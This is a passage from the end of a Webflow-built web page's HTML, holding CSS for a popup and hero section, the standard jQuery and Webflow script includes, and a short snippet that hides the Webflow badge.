height: 25px;
line-height: 25px;
text-align: center;
cursor: pointer;
border-radius: 50%;
background-color: #cccccc;
color: #ffffff;
}
.popup .popup-content .close-buttonERROR:hover {
background-color: #aaaaaa;
}
.popup .popup-content h1, .popup .popup-content p {
margin: 10px 0;
}
.popup .popup-content h1 {
color: #333333;
font-size: 1.5em;
}
.popup .popup-content p {
color: #666666;
font-size: 1em;
}
.popup .popup-content .checkmark {
width: 50px;
height: 50px;
margin: 0 auto 10px;
display: block;
}
.popup .popup-content .checkmark__circle,
.popup .popup-content .checkmark__check {
stroke: #4CAF50;
stroke-width: 2;
}
@keyframes stroke {
to {
stroke-dashoffset: 0;
}
}
@keyframes popupIn {
from {
transform: translateY(-50px);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
</style>
<style>
.hero-section-button-holder {
display: flex;
flex-direction: column;
/* Stack elements vertically */
align-items: center;
/* Center elements horizontally */
justify-content: center;
/* Center content vertically */
padding: 20px;
/* Padding around the container */
}
.text-input {
width: 80%;
/* Width of the text input field */
padding: 15px 20px;
/* Padding inside the input for better appearance */
font-size: 16px;
/* Suitable font size for readability */
margin-bottom: 20px;
/* Space between the input field and the Try Demo button */
border: 2px solid #ccc;
/* Border for the input field */
border-radius: 5px;
color:white
/* Rounded corners for the input field */
}
.button {
padding: 10px 20px;
/* Padding inside the button */
text-decoration: none;
/* No underline on the button text */
color: #FFF;
/* White text color */
background-color: #007BFF;
/* Blue background color */
border-radius: 5px;
/* Rounded corners for the button */
margin-bottom: 20px;
/* Space between the Try Demo button and the video container */
}
.button.outline {
background-color: transparent;
/* Transparent background for the outline style */
color: #007BFF;
/* Blue text to match the border */
border: 2px solid #007BFF;
/* Blue border */
}
.button:hover {
opacity: 0.8;
/* Transparency on hover for user interaction feedback */
}
.video-container {
width: 800px;
/* Increased width of the video container */
height: 450px;
/* Increased height to maintain aspect ratio */
}
</style>
</div>
</div>
</div>
<div class="hero-bacgkround about">
<img src="https://assets-global.website-files.com/6537b1db509ef0817e8f4b5d/653811ecfaa8e611f576bc26_About%20Lines.svg" loading="lazy" alt="" class="hero-background-image about">
<div class="hero-gradient"></div>
</div>
</div>
<script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=6537b1db509ef0817e8f4b5d" type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<script src="https://assets-global.website-files.com/6537b1db509ef0817e8f4b5d/js/webflow.67d20a82c.js" type="text/javascript"></script>
<script> $(document).ready(function() {
$(".w-webflow-badge").removeClass("w-webflow-badge").empty();
});</script>
<a class="" href="https://webflow.com?utm_campaign=brandjs"></a></body></html>